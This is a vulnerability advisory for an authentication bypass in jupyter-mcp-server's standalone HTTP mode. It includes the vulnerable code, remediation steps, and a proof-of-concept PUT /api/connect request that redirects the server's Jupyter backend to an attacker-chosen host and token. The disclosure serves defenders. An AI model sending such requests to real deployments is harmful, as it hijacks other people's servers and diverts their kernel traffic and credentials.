CVE-2026-77318: Jupyter MCP Server: Unauthenticated management routes can hijack the Jupyter backend in standalone HTTP mode
Standalone streamable-http mode in datalayer/jupyter-mcp-server requires MCPTOKEN for /mcp, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke PUT /api/connect, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure.
Published Nov 20, 2026
Affected packages
jupyter-mcp-server
- Ecosystem
- PyPI
- Affected
- <= 1.0.2
- Fixed in
- 1.0.3
- Check
pip show jupyter-mcp-server
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Standalone streamable-http mode in datalayer/jupyter-mcp-server requires MCP_TOKEN for /mcp, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke PUT /api/connect, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure. The same missing authentication affects the state-changing DELETE /api/stop route.
The intended authentication boundary is documented in the security guide and enforced during startup:
docs/docs/reference/security/index.mdx:15
All MCP endpoints require Bearer token authentication.
docs/docs/reference/security/index.mdx:25
Starting with version 1.0.0, MCP client authentication is required for the streamable-http transport.The CLI enforces that boundary for the MCP endpoint:
# jupyter_mcp_server/CLI.py:203-209
if transport == "streamable-http" and not mcp_token and not insecure_mcp_noauth:
raise click.UsageError(
"streamable-http transport requires MCP client authentication. "
"Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to "
"explicitly allow unauthenticated access."
)# jupyter_mcp_server/CLI.py:285-290
if transport == "streamable-http":
if mcp_token:
from jupyter_mcp_server.server import RuntimeTokenVerifier
mcp._token_verifier = RuntimeTokenVerifier(mcp_token)
logger.info("MCP endpoint token authentication enabled (using MCP_TOKEN)")The vulnerable route is jupyter_mcp_server/server.py:143-187:
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()
document_runtime = DocumentRuntime(**data)
set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)
ServerContext.reset()
try:
__start_kernel()
return JSONResponse({"success": True})/api/stop is also unauthenticated and state-changing:
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})Proof of concept
Run the affected version:
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083Send a request to the protected MCP endpoint without credentials:
POST /mcp HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}Observed response:
HTTP/1.1 401 Unauthorized
www-authenticate: Bearer error="invalid_token", error_description="Authentication required"Now send the unauthenticated management request:
PUT /api/connect HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_DIRECT",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_DIRECT"
}Observed response:
HTTP/1.1 200 OK
content-type: application/json
{"success":true}The server log shows that /api/connect accepted the attacker-chosen backend:
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfullyWhen an attacker-controlled backend is listening on 127.0.0.1:9183, it receives Jupyter API traffic from the MCP server:
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_DIRECT
GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_DIRECTImpact
An attacker does not need the MCP_TOKEN to mutate the standalone MCP server's active backend connection. The attacker can stop the current notebook kernel through /api/stop, replace the configured runtime_url and document_url through /api/connect, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.
For a same-network attacker, this is a direct unauthenticated state change against the HTTP listener. This defeats the documented standalone HTTP security boundary because the protected /mcp endpoint rejects missing credentials while adjacent management routes perform sensitive state changes without the same control.
Why this is a vulnerability, not intended behavior
- This is not the explicit
--insecure-mcp-noauthmode. The proof runs withMCP_TOKENconfigured, and/mcpcorrectly returns401 Unauthorizedwithout it. - This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch.
- This is not only a broad-bind issue. The default
0.0.0.0bind increases exposure, but the boundary failure is that state-changing custom routes bypass the token control applied to/mcp.
Remediation
Apply the same inbound authentication policy to every route mounted on the standalone HTTP app:
- Require the
MCP_TOKENbearer token on/api/connect,/api/stop,/api/healthz, and any future custom route that reads or changes server state. - Bind standalone HTTP to
127.0.0.1by default, and require an explicit host allowlist for non-loopback listeners. - Add regression tests proving that
/api/connectand/api/stopreject missing bearer tokens and invalid bearer tokens.
Credited to avishaigonen-pluto, yotampe-pluto.
References
- https://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-24pw-rf5p-mgp7
- https://nvd.nist.gov/vuln/detail/CVE-2026-77318
- https://github.com/datalayer/jupyter-mcp-server/pull/262
- https://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4d246fc5
- https://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3
- https://github.com/advisories/GHSA-24pw-rf5p-mgp7
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77312
Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)
critical10.0Nov 20, 2026CVE-2026-77359
Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
critical9.3Nov 20, 2026CVE-2026-130007
k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution
high7.9Nov 19, 2026CVE-2026-130008
sqlite-mcp: Read-only mode bypass via statement chaining and SQL injection in describe_table
high8.2Nov 19, 2026CVE-2026-62964
Gortex: Arbitrary file write / repo-confinement escape in `write_file` / `edit_file` / `move_inline` MCP tools → code execution
high7.8Nov 19, 2026CVE-2026-63129
mssql-mcp-core: SQL injection in mssql-mcp write tools via unparameterized table names and WHERE clauses
high8.8Nov 19, 2026
